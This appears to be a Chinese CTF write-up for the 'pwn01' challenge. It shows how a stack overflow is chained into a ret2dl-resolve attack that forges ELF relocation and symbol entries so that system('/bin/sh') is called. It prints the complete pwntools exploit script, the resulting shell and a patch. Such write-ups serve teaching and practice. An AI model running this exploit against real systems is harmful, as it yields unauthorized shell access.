源程序下载:http://file.eonew.cn/ctf/pwn/pwn01.zip
本题主要考察 ret2dl-resolve 漏洞的使用。
目录
程序功能介绍
安全防护
ex@Ex:~/test$ checksec pwn01
[*] '/home/ex/test/pwn01'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
主要代码
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
var_16= byte ptr -16h
var_C= dword ptr -0Ch
argc= dword ptr 8
argv= dword ptr 0Ch
envp= dword ptr 10h
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 10h
call __x86_get_pc_thunk_bx
add ebx, 1B93h
sub esp, 4
push 0F4240h
mov eax, offset buf
push eax
push 0
call _read
add esp, 10h
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
sub esp, 4
push eax
mov eax, offset buf
push eax
lea eax, [ebp+var_16]
push eax
call _memcpy
add esp, 10h
mov eax, 0
lea esp, [ebp-8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx-4]
retn
main endp
就是先把我们的输入读到全局变量buf
中,然后再将输入的内容复制到栈中。
分析
主要通过栈溢出来达到我们想要的目的,但是程序没有回显函数,也没有现成ROPgadget可以直接拿shell,我们也不知道glibc库的基地址,所以这题我们需要用到ret2dl-resolve
漏洞来拿shell。
思路
- 控制程序流
- 构造好假的
Elf32_Rel
和假的Elf32_Sym
,让_dl_runtime_resolve
函数解析我们指定的字符串
控制程序流
只需要简单的栈溢出即可控制程序流。
offset = 0x100
# 布局
layout1 = [
'\0' * 14,
p32(buf_addr + 4 + offset), # ecx
]
payload1 = flat(layout1).ljust(offset, '\0')
这里之所以需要偏移,是因为我们后面的栈直接指向的buf_addr + offset
这个地址,所以我们需要先填充号中间的空缺。
之后调用read函数来读取我们构造好的内容,注意这里需要栈转移,否则很容易会出问题,具体情况需要调试glibc源码。
# 0x08048519 : pop esi ; pop edi ; pop ebp ; ret
pop_3_addr = 0x08048519
# 0x0804851b : pop ebp ; ret
pop_ebp_ret = 0x0804851B
# 0x080483c5 : leave ; ret
leave_ret = 0x080483c5
layout1 = [
elf.plt['read'],
p32(pop_3_addr),
p32(0),
p32(container),
p32(0x200),
# 可能会影响bbs,也就是 buf_addr 周围的一些值,
# 导致整个程序崩溃,所以把栈放的越远越好
# 也可能是要把栈和 我们存放的 container 放在一起才不会崩溃
p32(pop_ebp_ret), # 栈转移
p32(container),
p32(leave_ret),
]
payload1 += flat(layout1)
# pause()
sh.send(payload1) # 初次输入
然后就控制程序流调用_dl_runtime_resolve
函数来解析我们构造好的函数名字符串,并传入“/bin/sh”参数,准备拿shell。
# _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve = 0x080482F0
fake_rel_offset = fake_rel_plt_addr - rel_plt_addr
fake_dynstr_offset = fake_dynstr_addr - dynstr_addr
# 第一个参数的地址,要和前面的都间隔开来
sh_offset = 200
sh_addr = container + sh_offset
layout2 = [
p32(0), # ebp
p32(_dl_runtime_resolve),
p32(fake_rel_offset), # 指向 fake dynstr
p32(elf.plt['__libc_start_main']), # ret addr
p32(sh_addr), # 第一个参数
]
payload2 = flat(layout2).ljust(container_offset, '\0')
这里要container_offset
偏移的原因是,我把要执行的栈和假的Elf32_Rel
和假的Elf32_Sym
放在了一起,所以中间需要用偏移间隔开来。
构造
计算地址
我们需要把我们所需要的地址全都计算好。
rel_plt_addr = 0x80482b4
dynsym_addr = 0x80481cc
dynstr_addr = 0x0804822c
buf_addr = 0x804A040
# 想要存放的地方,假的重定位表
container = 0x804b000 - 0x300 # buf_addr + 0x1000 #
# 前面要存放指令,所以要先间隔开来
container_offset = 100
fake_rel_plt_addr = container + container_offset
# 就和 fake_rel_plt_addr 放在一起
fake_dynsym_addr = fake_rel_plt_addr + 36
# 与 dynsym_addr 对齐
align = 16 - (fake_dynsym_addr - dynsym_addr) % 16
fake_dynsym_addr += align
# Elf32_Rel->r_info
index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 16)
r_info = (index_dynsym << 8) | 0x7
# 假的字符串表地址,紧贴着 fake_dynsym_addr 放
fake_dynstr_addr = fake_dynsym_addr + 16
构造好假的Elf32_Rel
和假的Elf32_Sym
布局,为了前面的调用_dl_runtime_resolve
函数做好准备。
layout2 = [
elf.got['__libc_start_main'], # Elf32_Rel->r_offset ,我们要修改的值
p32(r_info), # Elf32_Rel->r_info
'\0' * (fake_dynsym_addr - (fake_rel_plt_addr + 8)), # 中间的偏移量
p32(fake_dynstr_offset) + p32(0) + p32(0) + p32(0x12) , #fake Elf32_Sym
"system\x00", # fake dynstr
]
payload2 = (payload2 + flat(layout2) ).ljust(sh_offset, '\0')
payload2 += '/bin/sh\x00'
# pause()
sh.sendline(payload2)
这样就可以解析我们的system
字符串并直接执行syste函数了,像sh_offset
的偏移都需要我们提前构造好,这题的难点可能就是在构造上面了。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import time
import struct
# context.log_level = "debug"
sh = process('./pwn01')
# sh = remote("39.100.87.24 ",8101)
elf = ELF('./pwn01')
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
rel_plt_addr = 0x80482b4
dynsym_addr = 0x80481cc
dynstr_addr = 0x0804822c
buf_addr = 0x804A040
# 想要存放的地方,假的重定位表
container = 0x804b000 - 0x300 # buf_addr + 0x1000 #
# 前面要存放指令,所以要先间隔开来
container_offset = 100
fake_rel_plt_addr = container + container_offset
# 就和 fake_rel_plt_addr 放在一起
fake_dynsym_addr = fake_rel_plt_addr + 36
# 与 dynsym_addr 对齐
align = 16 - (fake_dynsym_addr - dynsym_addr) % 16
fake_dynsym_addr += align
# Elf32_Rel->r_info
index_dynsym = int((fake_dynsym_addr - dynsym_addr) / 16)
r_info = (index_dynsym << 8) | 0x7
# 假的字符串表地址,紧贴着 fake_dynsym_addr 放
fake_dynstr_addr = fake_dynsym_addr + 16
offset = 0x100
# 布局
layout1 = [
'\0' * 14,
p32(buf_addr + 4 + offset), # ecx
]
payload1 = flat(layout1).ljust(offset, '\0')
# 0x08048519 : pop esi ; pop edi ; pop ebp ; ret
pop_3_addr = 0x08048519
# 0x0804851b : pop ebp ; ret
pop_ebp_ret = 0x0804851B
# 0x080483c5 : leave ; ret
leave_ret = 0x080483c5
layout1 = [
elf.plt['read'],
p32(pop_3_addr),
p32(0),
p32(container),
p32(0x200),
# 可能会影响bbs,也就是 buf_addr 周围的一些值,
# 导致整个程序崩溃,所以把栈放的越远越好
# 也可能是要把栈和 我们存放的 container 放在一起才不会崩溃
p32(pop_ebp_ret), # 栈转移
p32(container),
p32(leave_ret),
]
payload1 += flat(layout1)
# pause()
sh.send(payload1) # 初次输入
'''
.plt:080482F0 sub_80482F0 proc near ; CODE XREF: .plt:0804830B↓j
.plt:080482F0 ; .plt:0804831B↓j ...
.plt:080482F0 push ds:dword_804A004
.plt:080482F6 jmp ds:dword_804A008
.plt:080482F6 sub_80482F0 endp
'''
# _dl_reslove(link_map, rel_offset)
_dl_runtime_resolve = 0x080482F0
fake_rel_offset = fake_rel_plt_addr - rel_plt_addr
fake_dynstr_offset = fake_dynstr_addr - dynstr_addr
# 第一个参数的地址,要和前面的都间隔开来
sh_offset = 200
sh_addr = container + sh_offset
layout2 = [
p32(0), # ebp
p32(_dl_runtime_resolve),
p32(fake_rel_offset), # 指向 fake dynstr
p32(elf.plt['__libc_start_main']), # ret addr
p32(sh_addr), # 第一个参数
]
payload2 = flat(layout2).ljust(container_offset, '\0')
layout2 = [
elf.got['__libc_start_main'], # Elf32_Rel->r_offset ,我们要修改的值
p32(r_info), # Elf32_Rel->r_info
'\0' * (fake_dynsym_addr - (fake_rel_plt_addr + 8)), # 中间的偏移量
p32(fake_dynstr_offset) + p32(0) + p32(0) + p32(0x12) , #fake Elf32_Sym
"system\x00", # fake dynstr
]
payload2 = (payload2 + flat(layout2) ).ljust(sh_offset, '\0')
payload2 += '/bin/sh\x00'
# pause()
sh.sendline(payload2)
sh.interactive()
# 删除调试文件
os.system("rm -f pid")
运行实例
ex@Ex:~/test$ ./exp.py
[+] Starting local process './pwn01': pid 10677
[*] '/home/ex/test/pwn01'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
修复
填充指令
push ebp
mov ebp, esp
push 14 ; 栈不被破坏的最大字节数
push dword ptr 12[ebp]
push dword ptr 8 [ebp]
call _read
add esp, 12
mov esp, ebp
pop ebp
ret
patched
.text:08048476 push 0F4240h
.text:0804847B mov eax, offset buf
.text:08048481 push eax
.text:08048482 push 0
.text:08048484 call _read
将call _read
指令修改为我们填充的指令的地址。
总结
第一次接触ret2dl-resolve
漏洞的时候,感觉这个漏洞是很难理解的,但是随着自己的调试,慢慢地就理解它的原理。
这里还要多多感谢ZhouYetao
师傅的指点。